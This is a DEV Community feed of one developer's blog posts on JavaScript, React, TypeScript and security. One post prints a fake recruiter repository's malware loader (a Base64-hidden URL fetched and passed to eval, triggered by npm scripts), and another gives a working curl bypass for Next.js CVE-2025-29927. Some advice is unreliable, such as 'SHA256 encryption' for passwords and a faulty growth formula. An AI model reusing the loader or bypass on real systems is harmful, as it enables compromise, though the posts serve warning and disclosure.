DEV Community: Nikola Perišić

The "skill-check" JS quiz

Nikola Perišić — Tue, 03 Mar 2026 15:36:56 +0000

How well do you really know the language that powers the web? It’s easy to get comfortable with const and fetch(), but JavaScript has some dusty corners and "gotchas" that separate the pros from the hobbyists.

P.S. If you're wondering why there's a duck on the thumbnail... honestly, it's just for attention. But hey, it worked, you're here! 🦆

1. The equality enigma

What does the following code output to the console?

console.log(0 == '0');
console.log(0 === '0');

The answer: true, then false

Explanation: I’m not going to explain this one. If I do, you’ll just read it and forget it. I want you to search for "JavaScript Type Coercion" yourself. Trust me, you will thank me later.

2. The "this" trap

In the snippet below, what will be logged?

const user = {
  name: 'Alex',
  greet: () => {
    console.log(`Hi, I'm ${this.name}`);
  }
};

user.greet();

The answer: Hi, I'm undefined (or an empty string in some environments).

Explanation: Arrow functions do not have their own this context. They inherit this from the surrounding lexical scope (in this case, the global window or module). To fix this, use a regular function expression.

3. Closure clarity

What is the result of this execution?

for (var i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 1);
}

The answer: 3, 3, 3

Explanation: Because var is function-scoped and not block-scoped, the loop finishes before the setTimeout callbacks run. By then, i has been incremented to 3. Using let instead of var would result in 0, 1, 2 because let creates a new binding for each iteration.

4. Reference vs. value

What happens to list2?

let list1 = [1, 2, 3];
let list2 = list1;
list1.push(4);

console.log(list2.length);

The answer: 4

Explanation: Arrays in JavaScript are objects, which means they are passed by reference. list2 isn't a copy; it's a pointer to the same memory address as list1.

5. Bonus: The "typeof" quirk

What is typeof null?

The answer: "object"

This is a famous bug from the first version of JavaScript that was never fixed to maintain backward compatibility.

How did you do? 🏆

Drop your score in the comments below!

Connect with me

GitHub
LinkedIn
Medium

From job offer to malware: developers, be cautious!

Nikola Perišić — Tue, 28 Oct 2025 14:55:11 +0000

Note: This story was adapted from a Reddit post. I have not directly communicated with anyone from the “Modex platform”. I am sharing this to raise awareness among developers for situations like this because they are common.

John was contacted by an HR representative regarding a Frontend Developer position; a very appealing offer. The job description can be found here. A meeting was scheduled, during which the recruiter provided a GitHub repository and asked him to clone it, run it locally, and connect his Metamask wallet.

Something about this seemed off, so John informed recruiter that he could not do it immediately and would review the code first. That decision likely prevented potential issues.

The suspicious scripts

When he looked at the package.json, he noticed the scripts:

"scripts": {
  "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
  "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
  "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
  "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject"
}

Opening server.js, he found this:

const AUTH_API_KEY = "aHR0cHM6Ly9hdXRobG9naW4tbmluZS52ZXJjZWwuYXBwL2FwaQ==";

(async () => {
  const src = atob(AUTH_API_KEY);
  const proxy = (await import('node-fetch')).default;
  try {
    const response = await proxy(src);
    if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
    const proxyInfo = await response.text();
    eval(proxyInfo);
  } catch (err) {
    console.error('Auth Error!', err);
  }
})();

At first glance, it looked like an API key, but AUTH_API_KEY is actually a Base64-encoded URL pointing to a malicious link.

In this snippet atob is used to decode the value of AUTH_API_KEY into a plain URL. The decoded URL is stored in src, then node-fetch is dynamically imported and used: await proxy(src) fetches the remote content. Finally the fetched text (malicious code) is passed to eval and executed inside the Node.js process.

If we manually decode the value stored in AUTH_API_KEY, it reveals the following URL: https://authlogin-nine.vercel.app/api

Decoded using: https://www.base64decode.org

When we open that link in our browser, we see the following:

You can check it yourself on: https://authlogin-nine.vercel.app/api

But is it safe to visit this link? Yes, it is secure to visit it because you are accessing it from your browser. There is no running Node.js environment or something similar that would actually run this code.

In conclusion, running npm run start or any similar command to start this project would expose your system to this malicious code.

What ChatGPT revealed about this malicious code?

After copying the code into ChatGPT for analysis, this was the response:

This is obfuscated Node.js malware/backdoor. It decodes strings at runtime, loads standard Node modules (os, fs, child_process), enumerates system/user info, reads and writes files, spawns commands, and contacts a remote endpoint. It acts as a downloader/exfiltrator and a persistence/command-execution helper. Treat it as malicious, isolate affected hosts, and perform incident response.

Research on the recruiter and company

The man checked the recruiter and the company online, and everything seemed legitimate:

Recruiter’s presence on conference websites: VBS Live
Forbes CEE Forum article: Forbes
LinkedIn company profile: Modex Platform
Company website: modex.tech

Conclusion & tips

John’s experience shows how convincing job offers can hide malicious code. By reviewing the code first, he avoided running a Node.js backdoor.

Tips to spot potential scams:

Requests to clone a repository and run it locally immediately
Asking to connect a crypto wallet or provide private keys
Pressure to complete tasks without reviewing the code first
Recruiters or companies that cannot be verified via LinkedIn, official website, or other credible sources

Being cautious and reviewing code carefully can prevent serious security risks.

Connect with me

GitHub, LinkedIn, Medium

Elevate your React project to the next level using MSW mocking flow

Nikola Perišić — Wed, 28 May 2025 12:20:38 +0000

Introduction

In this blog, I will walk you through why MSW mocking is useful, and how to implement it in your React.js application.

The problem

Let’s say you’re building a feature that consumes data from a backend API, but:

The backend isn’t ready yet
You’re having CORS issues, and the backend developer took a sick day :(
You’re on a tight deadline

In most cases, you might just mock the data using a single constant.

But there’s a better approach.

The Solution: Mock Service Worker (MSW)

MSW works by intercepting actual network requests at the service worker level. What does that means?

Your application thinks it’s communicating with a real API
Your mocks work both in the browser and in tests
You can simulate everything from successful responses to errors, timeouts, and more. This is very important

I can tell that it’s the closest thing to working with the real thing, without actually depending on it.

Diagram

In the diagram above, we can identify total of three actors:

Browser -> Let’s imagine you have a page called PrivacyPolicy.jsx. This component uses a custom hook or a direct fetch/axios call to request data from the endpoint /v1/privacy-policy. In default scenario, this request would hit backend API URL, but with our approach, this request is intercepted before it ever leaves the browser and it does not hit backend.
MSW service worker -> This worker is registered and running in the browser. It listens to all requests coming from you application. When your React app makes a request to /v1/privacy-policy, the MSW service worker intercepts it and checks if a corresponding mock handler is defined. It does this by referring to your mock definition file (commonly named handlers.js).
Handlers.js -> This file contains a list of all mocked endpoints and how they should respond. If a matching handler is found, the service worker returns the mocked response as if it came from the real server. Your React component receives the data and renders the UI.

Key benefits

Fully isolated UI development - With MSW, your frontend development is no longer blocked by backend availability.
Easier error state simulation (timeout, 500 errors, etc.) -> Simulating edge cases is crucial for building resilient UIs. MSW makes easy to:

Mock slow network responses (e.g. ctx.delay(3000)) to test loading states.
Simulate server errors (e.g. 500, 401, 404) to test error handling.
Validate how your UI reacts to flaky connections, unauthorized access, or unexpected data.

Shared, reusable mocks for testing and Storybook

Hot to implement it?

Install the package

npm i msw

Define your handlers Create a mocks/handlers.js file

// handlers.js
import { http, HttpResponse } from 'msw';

export const handlers = [
  http.get(`${API_URL}/v1/privacy-policy`, async () => {
    return HttpResponse.json({
      documentBody: `
        <h1>Privacy Policy</h1>
        <p>We value your privacy and handle your data responsibly.</p>
      `
    });
  }),
];

Setup the service worker

Create a mocks/browser.js file

import { setupWorker } from 'msw';
import { handlers } from './handlers';

export const worker = setupWorker(...handlers);

Modify your .env file

VITE_ENABLE_MOCKING=true

Modify your main.jsx file (just add "enableMocking" method)

// main.tsx
// imports {}

async function enableMocking() {
  if (import.meta.env.VITE_ENABLE_MOCKING !== 'true') return;
  const { worker } = await import('./mocks/browser');

  return worker.start();
}

enableMocking().then(() => {
  const rootElement = document.getElementById('root');
  if (!rootElement) throw new Error('Root element not found');

  createRoot(rootElement).render(
    <StrictMode>
    </StrictMode>
  );
});

Note: If you plan to use it also in test environment, be sure to create a mocks/node.js file:

// mocks/server.jsx

import { setupServer } from 'msw/node';
import { handlers } from './handlers';

export const server = setupServer(...handlers);

For more informations, you can check out official MSW documentation.

Bonus 🎁

I’m sharing template starter for handlers.js file that I use in my projects.

It includes mocked api endpoints, use of zod schemas for validation, delays and much more!

Connect with me

GitHub, LinkedIn, Medium

Ghibli is a Double-Edged Sword: Be Cautious Because You Are Giving Metadata to OpenAI

Nikola Perišić — Wed, 02 Apr 2025 12:48:49 +0000

I’m sure you have seen this new trend. Maybe on the internet, maybe in the news, or perhaps you noticed it because your friend used it to generate a cartoonized version of themselves. Well, this is cool, and everyone can use it for FREE(intentionally bold) on ChatGPT. Just go to it, attach your chosen image, write a prompt such as “Generate me an image of this in Ghibli style and keep details,” and voila! You get it!

But remember the saying: “If something is free, you are the product.”

So, this is the new premium prompt(feature). Features like this are often paid in software. But with this one, it’s not the case. Wonder why?

What Happens When You Upload Your Image?

Certainly, ChatGPT works its magic and combines colors, saturation, exposure, and more.

But what about the things done under the hood? For that, we need a bit of theoretical knowledge. As a software engineer, let me explain to you in simple terms what happens beyond color adjustments.

Images are files in the system

If you’ve taken a computer science class, you know that computers consist of bytes.

Bytes are numbers — either zero or one. Each byte has its own memory allocation in the computer’s memory. So, you know that an image can take up 2MB (megabytes) of space on your disk. The size of an image file depends on how many bytes it contains.

Ever wondered why professional photographs photos look so good? That’s because cameras like Nikon and Canon capture images with more bytes, which results in higher quality and more detail. A raw image from a camera can be up to 40MB, while a photo taken on your phone might be around 10MB. More bytes generally mean better quality and more detail.

Sensitive data in a metadata

Every photo also contains metadata.

Metadata can include location data (GPS coordinates), device information (camera model), timestamps, and other data that could reveal a lot about you without you even realizing it.

Note: I cannot definitively confirm whether ChatGPT preserves metadata from uploaded images, nor have I found any clear statement from OpenAI claiming they don’t, creating an information gap that calls for cautious use of the Ghibli feature prompts.

Your sensitive informations

When you upload an image to generate a Ghibli-style version, you’re not just sharing your photo — you’re sharing metadata too. In the wrong hands, this data could be used to track your location or other personal information. Be mindful of what you’re giving away.

Examples of what metada can include:

Geolocation data(longitude and latitude)
File type and size
Description
Date created
Camera settings
Creator and uploader
Operating system

Well, I’m always sharing my pictures on Viber/Whats App, so what?

Well, applications like these, Instagram, Telegram etc. before you share your image, delete the metadata from it. Yes! That can be done by just removing bytes that are used to define metadata. And guess what. You can also do it for free on Jimpl.

How a guy caught a girlfriend cheating using metadata

There is a story a friend of mine told me.

The boyfriend(DevOps) suspected something wasn’t right when his girlfriend claimed she was at her friend’s house studying. He casually asked her to send a current photo of herself. When she sent it, he decided to check the image metadata using online tool.

The metadata revealed that the photo was taken with an Android device, but my friend knew his girlfriend used an iPhone 12 Pro. This little detail exposed her lie — she had used someone else’s phone to take the photo. By doing so, she revealed more than just the device she used; she also shared sensitive geolocation data. Knowing the coordinates, he knew the guy who lived there and already suspected that she was cheating on him.

If you’re wondering why the social media app didn’t remove the metadata, it’s because my friend asked her to send image like file not as photo, and it does not strip the metadata.

And why she used someone else’s phone to take the photo? Well, it turned out her iPhone’s battery had run out, and ironically, the boyfriend didn’t have an iPhone charger on hand because he used, as I mentioned, an Android phone. The iPhone 13 Pro doesn’t use a USB-C charger, so she couldn’t just borrow his cable. So guys, even if you don’t have an iPhone, at least have a charger for it! xd

"You after reading this article"

Conclusion

While the Ghibli style transformation feature is exciting and fun, it’s important to be cautious. It’s very important to understand the risks.

Did you know for this? Let me know in the comments below 💬

Critical Next.js Vulnerability! CVE-2025-29927

Nikola Perišić — Mon, 24 Mar 2025 11:56:17 +0000

A few days ago, researchers disclosed a critical Next.js vulnerability (CVE-2025-29927), highlighting an authorization bypass in the framework’s middleware.

This can allow attackers to completely bypass middleware protections. In other words, if you used middleware.ts, your application is not secure.

Let me explain.

The Attack: How It Works

Next.js uses the x-middleware-subrequest header to track outgoing requests from middleware and prevent infinite loops. The header is added when middleware calls another service, such as an external API. This is designed to stop middleware from calling itself repeatedly, which could waste server resources.

However, an attacker can manipulate this header to make it appear like the middleware is calling itself repeatedly, bypassing the middleware protection. For example, if an attacker sends a header like this:

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

This will trick Next.js into thinking the middleware has already been called five times, allowing the attacker to skip the middleware logic and access protected resources.

Demonstrating the Exploit

Here’s a simple example of how the exploit works in Next.js v15.2.2. Imagine we have middleware that sets a custom header and a route that returns it:

export default function middleware(request: NextRequest) {
  request.headers.set("x-my-custom-header", "Hello, world!");

  return NextResponse.next({ request });
}

Route (src/app/test/route.ts):

export default function GET(request: NextRequest) {
  return NextResponse.json({
    message: request.headers.get("x-my-custom-header") ?? "Middleware skipped. Exploited!"
  });
}

Normally, the route would return "Hello, world!" like this:

curl http://localhost:3000/test
# => { "message": "Hello, world!" }

But if the attacker adds the malicious header, the middleware is bypassed, and the response changes:

curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" http://localhost:3000/test
# => { "message": "Middleware skipped. Exploited!" }

Are you affected?

If you use Next.js and rely on middleware for protecting pages, you may be affected by this vulnerability. Here’s how to tell if you are:

You use Next.js and rely on middleware for authorization.
You don’t have additional user authentication checks inside your pages or components.
You’re not using Vercel or a platform that has patched the issue.
Your Next.js version is older than v14.2.25 (Next.js 14) or v15.2.3 (Next.js 15).

How to Fix It

Update Next.js: Make sure you're using v14.2.25 or v15.2.3 or later.

Read more on official Next.js blog here.

Final Thoughts

What are your thoughts on this? How could this have been prevented?

Don't use React imports like this. Use Wrapper Pattern instead

Nikola Perišić — Fri, 21 Feb 2025 08:09:33 +0000

Updated version. Read on: https://medium.com/@perisicnikola37/dont-use-react-imports-like-this-use-wrapper-pattern-instead-b7a49b864ff4

Modern React website with stunning animations and free code

Nikola Perišić — Thu, 20 Feb 2025 10:26:46 +0000

Tech stack: React.js + TypeScript + Vite

Live preview: https://dev-to-rater.xyz

Repository: https://github.com/perisicnikola37/dev-to-rater

The end: Create React App (2016-2025)

Nikola Perišić — Tue, 18 Feb 2025 07:13:35 +0000

The Sunsetting of Create React App

On February 14, 2025, React officially deprecated Create React App (CRA), marking the end of an era for React developers. For years, CRA was the go-to tool for bootstrapping new React projects.

Why is Create React App Being Deprecated?

React ecosystem has evolved significantly since CRA’s introduction in 2016. Modern frameworks and build tools have surpassed CRA in both performance and flexibility. With no active maintainers and better alternatives available, the React team decided to retire CRA. The React team is encouraging developers to migrate to frameworks like Next.js or build tools like Vite.

Also because:

CRA does not provide a routing system
CRA lacks optimized data-fetching strategies
CRA ships apps as a single JavaScript bundle, which can result in longer load times. Modern frameworks automatically handle code splitting
CRA has lacked active maintainers

What now?

Starting today, developers installing Create React App will see a deprecation warning:

create-react-app is deprecated.

You can find a list of up-to-date React frameworks on react.dev
For more info see: react.dev/link/cra

CRA will still function in maintenance mode and has been updated to support React 19. However, no new features will be added, and developers are strongly encouraged to migrate to modern solutions.

How to Migrate Away from Create React App

You can visit the official guide at the React blog post here.

Final Thoughts

Our tip: If you're looking for the simplest and most efficient way to set up a new React project after Create React App's deprecation, React + Vite is the way to go.

What are your thoughts on this change? Let’s discuss in the comments! 🚀

The biggest backend mistakes you can do

Nikola Perišić — Fri, 14 Feb 2025 09:13:35 +0000

Hello, fellow devs! Welcome to the second part of our series how to become a better developer. You really liked the first part (The biggest frontend mistakes) sooo, voila!

Today we will learn about common backend mistakes. I'll highlight some of these mistakes and show you how to avoid them.

1. Missing security

I intentionally set this as the first point. As a backend developer, you build the system.

Of course, that system need to be secured. I can’t believe how many people still neglect security features like CORS or Rate Limiting in their applications, but sadly, it happens. These topics are crucial for protecting your system against vulnerability attacks. Below, I’ve made a checklist of essential topics to test your system with.

Security Checklist:

Category	Security Measures
Network Security	Enable HSTS
	Use SSL
	Check SSL Version, Algorithms, Key length
Authentication & Session	Use Secure cookies
	Implement SHA256 encryption for passwords
Authorization & Access Control	Implement CSRF
	Test for bypassing authorization schema on forms
Input & Data Validation	Test for HTML and SQL Injection
	Test file extensions handling
Client-Side Security	Check for sensitive data in client-side code
	Use reCAPTCHA whenever you can

2. Poor Database Design

Lack of Proper Indexing: Developers sometimes forget to add indexes or add too many. Neither is good. You should find the right balance. Without indexes, queries become slow as the database scans entire tables. On the other hand, excessive indexing increases storage use and slows down write operations. So be careful.

Our tip: Add indexes only for columns that are queried frequently.

Ignoring Scalability and Future Growth in the beggining: Many developers design databases based on current needs without considering future growth. This leads to issues like lack of partitioning, poor choice of data types, and difficulty in handling high traffic loads later on.

Our tip: You might think that spending a lot of time on database design is unnecessary, but it's not. Database planning requires you to think about current needs and for future growth. As in a previous example, here also, you need to strike for the right balance. We suggest using this formula:

currentNeeds = 10GB // For example

myDatabase = currentNeeds x 0.20 // So add 20%

Practical Explanation:

This formula helps you plan your database by accounting for not just your current needs, but also future growth.

currentNeeds -> This is how much space or how many resources your database currently requires. Think of it as the size of your existing data or the capacity you need for your current operations.
myDatabase -> This is the final size or capacity of your database, which is the combination of your current needs and the additional buffer (20%).

So, instead of just allocating 10GB for your database, you plan for 12GB. This 20% extra space accounts for growth, ensuring your database won't run out of space as you add more data or features over time.

Additional Considerations:

Column Choices: Use appropriate data types. For example, instead of using a VARCHAR(255) for a field that will never exceed 100 characters, use VARCHAR(100) to save space.
Growth Monitoring: Continuously monitor your database's growth. You can set up alerts based on disk usage, table size, and the number of rows. More about database alerts you can find here.

By thinking ahead and allocating 20% more space for growth, you're avoiding potential problems related to database performance and the need for frequent redesigns.

3. Not Considering Caching

Caching is an essential aspect of backend development, yet it's often overlooked.

Why it’s important:

Without caching, your system might become slow as more users access your app. Every time a request is made to the server, the system has to process the request fully, which can lead to latency and performance issues and surely you don't want that.

Our tip: Use in-memory data stores like Redis or Mem****cached to cache frequently accessed data (like product details or user sessions). Also remember to set expiration times and cache invalidation strategies to ensure that the cache is refreshed with the latest data.

4. Hardcoding Values

Hardcoding values such as database connection strings, API keys, and other configuration parameters directly in your code is a common and BIG mistake.

Why it’s bad:

It makes the code harder to maintain.
Exposing sensitive information, like API keys, in code can lead to security issues.
If you need to change a configuration value, you’ll have to search through the entire codebase and update it everywhere.

Bad ❌

public class UserService
{
    public void ConnectToDatabase()
    {
        // Hardcoded connection string, making it difficult to change or secure
        string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
        // Code to establish a connection...
    }
}

Good ✅

public class UserService
{
    public void ConnectToDatabase()
    {
        // Use environment variable to get the connection string securely
        string connectionString = Environment.GetEnvironmentVariable("DB_CONNECTION_STRING");

        if (string.IsNullOrEmpty(connectionString))
        {
            throw new Exception("Database connection string not found.");
        }

        // Code to establish a connection...
    }
}

5. Not Using Version Control Properly

If you write commit messages like this:

git commit -m "fix"
git commit -m "fix v1.2"
git commit -m "fix something"
git commit -m "fix bug"
git commit -m "change"
git commit -m "optimization"

Don't push.

Why it’s bad:

Other developers don't know what you've done in that commit without checking the changed files which requires time.
By doing this you can easily have a lot of commits with same/similar message.
When you need to revert to the old commit, and by seeing commit log like the above one, you cannot know to which one to reset.
In the future you will not know for which part of the application was fix commit, for example.

Good ✅

git commit -m "chore: modify README.md file"
git commit -m "fix: user validation not working"
git commit -m "feat: user validation of create form"
git commit -m "docs: add our team page"
git commit -m "ui: add image swiper on the home page"

Bonus tip: Always write commit messages in Present Tense. So instead of changed write change. You can learn about Conventional Commits here.

6. Not Separating Business Logic, Infrastructure, and Other Concerns

One of the common mistakes backend developers make is not properly separating concerns in their codebase. Specifically, mixing business logic, infrastructure code, data access, and API routes into a single class or module.

Why it’s bad:

Tight coupling: When business logic is tightly coupled with infrastructure code (such as database operations, third-party service integrations, etc.), it becomes difficult to test and maintain. A small change in the infrastructure may break your business logic.
Hard to scale: As your codebase grows, the lack of separation leads to more complexity, making it harder to scale the application and develop new features without breaking existing functionality.

Our tip: Separate these concerns into different layers or components. This follows the Separation of Concerns (SoC) principle and improves readability, scalability, and maintainability.

Examples: Clean Architecture, Hexagonal Architecture, Layered Architecture, Microservices Architecture, CQRS, Event-Driven Architecture, Domain-Driven Architecture

Conclusion

Keep these tips in mind as you continue your development journey, and remember: testing, optimizing, and following best practices will always pay off in the long run!

If I forgot something or you liked the article, please leave a comment down below 💬

Thanks for the reading :)

Support us on Product Hunt:

I've made Tool That Analyzes your Dev.to Posts

Nikola Perišić — Tue, 11 Feb 2025 21:19:27 +0000

Hello Dev.to writers and readers, I'm presenting Dev.to Rater.

Tool that I built using React.js and Typescript.

Live Website
Code on GitHub
Demo video on YouTube

Why did I create Dev.to Rater?

As a content creator on dev.to, one of the biggest challenges I faced was figuring out whether my articles were engaging.

This inspired me to build Dev.to Rater.

🛠 About the project

Dev.to Rater analyzes your post content, such as headings, paragraphs, images, and links. It calculates the blog post score and tells you how to improve it.

This tool makes your posts more impactful and engaging.

All you have to do is put your dev.to blog post URL in the input field and click "Analyze". That's it!

How Dev.to Rater analyze posts?

For now, we are measuring the following:

heading length
sentence length
total characters
reading time
links frequency
emoji frequency
repeating words

In the future, we plan to add more.

📖 Documentation?

For official documentation click here.

In our documentation you can find the following:

Core logics explained and linked to code in the repository
Version support
FAQ Note: If you want to contribute to it, feel free to do it :)

What about versions?

For version support click here
Currently, the latest version is v2.

Reaction stats? Now available.

🤝 Contributing

If you’re passionate about contributing to the open-source projects, feel free to contribute. We are open for contributors.

Guess what?

This blog post was scanned using our tool 🎯

It is 9.80. It needs your reactions to be 10 out of 10. 💖

📢 Will you use this tool?

Please, tell us in the comments down below! 💬

Feel free to share your blog posts and their rating!

Don’t forget to leave a star for support ⭐

P.S. We plan to support Medium also in the future 😀

Thanks for reading,
Dev.to™

The biggest frontend mistakes you can do

Nikola Perišić — Sat, 01 Feb 2025 11:48:27 +0000

Hello, fellow devs!

Frontend development can be very interesting because we can immediately see the results of our work. However, during this process, we often forget very important concepts and we make mistakes.

In this article, I'll highlight some of these mistakes and show you how to avoid them.

1. Ignoring Meta tags and Open Graph

These tags are essential for controlling how your content appears when shared on social media. Without them, your links may not display as intended, which can hurt your engagement.

Missing viewport meta tag - This tag ensures that your site is responsive and adapts to different screen sizes

Missing description and keywords meta tags - These tags lay a role in SEO and help search engines understand what your page is about

Good example:

<!-- Basic Open Graph tags -->
<meta property="og:title" content="Your Page Title Here" />
<meta property="og:description" content="A brief description of your content." />
<meta property="og:image" content="URL to an image that represents your content" />
<meta property="og:url" content="URL of the page" />
<meta property="og:type" content="website" />

<!-- Optional: Additional Open Graph tags for more control -->
<meta property="og:site_name" content="Your Website Name" />
<meta property="og:locale" content="en_US" />

<!-- Twitter Card tags (for better Twitter integration) -->
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:title" content="Your Page Title Here" />
<meta name="twitter:description" content="A brief description of your content." />
<meta name="twitter:image" content="URL to an image for Twitter" />

2. Ignoring performance optimization

Not optimizing images - It's important to compress your images and use formats like WebP or JPEG instead of PNGs for better performance.

Not minifying CSS and JavaScript files - There's nothing worse than seeing a CSS file with over 1,000 lines. Please, minify these. Bonus tip: Use Sass for more efficient styles. For minifying, you can use this free tool.

Loading too many unnecessary libraries - I often see people loading too much libraries when many functionalities can be custom build. Remember, when you import library you are not importing only it's code, you are importing a greater responsibility because every library you import has the possibility that it will go maintenance at some point. You also run the risk of a bug and that your UI will stop working and sure you don't want that.

Not using lazy loading for images and components - Not using mentioned will block UI, and your website can seem slow.

Not using lazy imports - Use lazy imports for better optimizations. This will make separate chunks for your imports and optimize build times by storing chunks in cache. This blog post is a good example of 75% optimization.

Additional tips:

Use image optimization tools like TinyPNG or GitHub Image Bot
Minify assets using build tools like Webpack or Parcel
Implement lazy loading with the loading="lazy" attribute

3. Poor HTML Structure and Semantics

Unfortunately, many frontend developer ignore proper HTML semantics, leading to accessibility and SEO issues. Common mistakes include:

Using <div>s for everything instead of tags like <article>, <section> and <nav>

Missing alt and title attributes on images

Using heading tags (<h1> - <h6>) inconsistently

Additional tips:

Always provide meaningful alt text for images
Structure headings properly to maintain a logical HTML structure
Use W3C Markup Validation Service

4. Using fixed units and bad responsive design

Hardcoding pixel values for height, width and etc.

Not testing on different screen sizes and devices

Additional tips:

Use relative units like en, rem and %
Use responsive design techniques like Flexbox and CSS Grid
Use Mobile simulator extension

5. Relying too much on `!important`

Using important too much can lead to unnecessary conflicts. Use this carefully and not too much.

6. Not handling cross-browser compatibility

Using CSS and JavaScript features that aren’t supported in all browsers

For example:

.element {
  backdrop-filter: blur(10px); /* Not supported in older versions of Edge */
}

Solution:

@supports (backdrop-filter: blur(10px)) {
  .element {
    backdrop-filter: blur(10px);
  }
}

.element {
  background: rgba(0, 0, 0, 0.5); /* Fallback */
}

7. Not using HTML Entities

Instead use these:

&nbsp; -> for blank space
&reg; -> for trademark
&copy; -> for copyright
and etc.

8. Not using current year function

Instead of this:

<p>2024 ©</p>

Use this:

<p><span id="year"></span>copy;</p>

<script>
  document.getElementById('year').textContent = new Date().getFullYear();
</script>

By using JS, you ensure the year will always be the latest one.

Conclusion

Keep these tips in mind as you continue your development journey, and remember: testing, optimizing, and following best practices will always pay off in the long run!

If I forgot something or you liked the article, please leave a comment down below 💬

Check yourself! Checklist ✅

viewport meta tag for responsive design
description and keywords meta tags for SEO
Open Graph meta tags
og:title
og:description
og:image
og:url
og:type
twitter:card
twitter:title
twitter:description
twitter:image
compressed images
WebP and/or JPEG images
lazy loading
lazy imports
alt and title attributes on images
HTML semantics and structure
W3C Markup Validation
using relative units like em, rem and %
avoiding using !import too much
ussing @supports for unsupported features
minified assets
not loaded too much libraries
using function for current year

Support us on Product Hunt:

Don't use TypeScript types like this. Use Map Pattern instead

Nikola Perišić — Wed, 29 Jan 2025 07:35:36 +0000

Introduction

While working on a real-life project, I came across a particular TypeScript implementation that was functional but lacked flexibility. In this blog, I'll walk you through the problem I encountered, and how I improved the design by making a more dynamic approach using the Map Pattern.

The problem
The issue with this approach
Solution
Clean code
More secure solution
Visual representation
Conslusion

The problem

I came across this TypeScript type:

// FinalResponse.ts
import { Reaction } from './Reaction'

export type FinalResponse = {
  totalScore: number
  headingsPenalty: number
  sentencesPenalty: number
  charactersPenalty: number
  wordsPenalty: number
  headings: string[]
  sentences: string[]
  words: string[]
  links: { href: string; text: string }[]
  exceeded: {
    exceededSentences: string[]
    repeatedWords: { word: string; count: number }[]
  }
  reactions: {
    likes: Reaction
    unicorns: Reaction
    explodingHeads: Reaction
    raisedHands: Reaction
    fire: Reaction
  }
}

Additionally, this Reaction type was defined:

// Reaction.ts
export type Reaction = {
  count: number
  percentage: number
}

And this was being used in a function like so:

// calculator.ts
export const calculateScore = (
  headings: string[],
  sentences: string[],
  words: string[],
  totalPostCharactersCount: number,
  links: { href: string; text: string }[],
  reactions: {
    likes: Reaction
    unicorns: Reaction
    explodingHeads: Reaction
    raisedHands: Reaction
    fire: Reaction
  },
): FinalResponse => {
  // Score calculation logic...
}

The Issue with This Approach

Now, imagine the scenario where the developer needs to add a new reaction (e.g., hearts, claps, etc.).
Given the current setup, they would have to:

Modify the FinalResponse.ts file to add the new reaction type.
Update the Reaction.ts type if necessary.
Modify the calculateScore function to include the new reaction.
Possibly update other parts of the application that rely on this structure.

So instead of just adding the new reaction in one place, they end up making changes in three or more files, which increases the potential for errors and redundancy. This approach is tightly coupled.

Solution

I came up with a cleaner solution by introducing a more flexible and reusable structure.

// FinalResponse.ts
import { Reaction } from './Reaction'

export type ReactionMap = Record<string, Reaction>

export type FinalResponse = {
  totalScore: number
  headingsPenalty: number
  sentencesPenalty: number
  charactersPenalty: number
  wordsPenalty: number
  headings: string[]
  sentences: string[]
  words: string[]
  links: { href: string; text: string }[]
  exceeded: {
    exceededSentences: string[]
    repeatedWords: { word: string; count: number }[]
  }
  reactions: ReactionMap
}

Explanation:

ReactionMap: This type uses Record<string, Reaction>, which means any string can be a key, and the value will always be of type Reaction.
FinalResponse: Now, the reactions field in FinalResponse is of type ReactionMap, allowing you to add any reaction dynamically without having to modify multiple files.

Clean code

In the calculator.ts file, the function now looks like this:

// calculator.ts
export const calculateScore = (
  headings: string[],
  sentences: string[],
  words: string[],
  totalPostCharactersCount: number,
  links: { href: string; text: string }[],
  reactions: ReactionMap,
): FinalResponse => {
  // Score calculation logic...
}

But Wait! We Need Some Control

Although the new solution provides flexibility, it also introduces the risk of adding unchecked reactions, meaning anyone could potentially add any string as a reaction. We definitely don't want that.

To fix this, we can enforce stricter control over the allowed reactions.

Visual representation

Conclusion

This approach strikes a balance between flexibility and control:

Flexibility: You can easily add new reactions by modifying just the AllowedReactions type.
Control: The use of a union type ensures that only the allowed reactions can be used, preventing the risk of invalid or unwanted reactions being added.

This code follows the Open/Closed Principle (OCP) by enabling the addition of new functionality through extensions, without the need to modify the existing code.

With this pattern, we can easily extend the list of reactions without modifying too many files, while still maintaining strict control over what can be added.

Code?

You can visit the repository here.

Hope you found this solution helpful! Thanks for reading. 😊

Follow me on GitHub

DEV Community: Nikola Perišić

The "skill-check" JS quiz

1. The equality enigma

2. The "this" trap

3. Closure clarity

4. Reference vs. value

5. Bonus: The "typeof" quirk

Connect with me

From job offer to malware: developers, be cautious!

The suspicious scripts

What ChatGPT revealed about this malicious code?

Research on the recruiter and company

Conclusion & tips

Connect with me

Elevate your React project to the next level using MSW mocking flow

Introduction

The problem

The Solution: Mock Service Worker (MSW)

Diagram

Key benefits

Hot to implement it?

Bonus 🎁

Ghibli is a Double-Edged Sword: Be Cautious Because You Are Giving Metadata to OpenAI

What Happens When You Upload Your Image?

Images are files in the system

Sensitive data in a metadata

Your sensitive informations

Well, I’m always sharing my pictures on Viber/Whats App, so what?

How a guy caught a girlfriend cheating using metadata

Conclusion

Critical Next.js Vulnerability! CVE-2025-29927

The Attack: How It Works

Demonstrating the Exploit

Are you affected?

How to Fix It

Final Thoughts

Don't use React imports like this. Use Wrapper Pattern instead

Modern React website with stunning animations and free code

Tech stack: React.js + TypeScript + Vite

Live preview: https://dev-to-rater.xyz

Repository: https://github.com/perisicnikola37/dev-to-rater

The end: Create React App (2016-2025)

The Sunsetting of Create React App

Why is Create React App Being Deprecated?

What now?

How to Migrate Away from Create React App

Final Thoughts

The biggest backend mistakes you can do

1. Missing security

Security Checklist:

2. Poor Database Design

3. Not Considering Caching

Why it’s important:

4. Hardcoding Values

Why it’s bad:

5. Not Using Version Control Properly

Why it’s bad:

6. Not Separating Business Logic, Infrastructure, and Other Concerns

Why it’s bad:

Conclusion

Support us on Product Hunt:

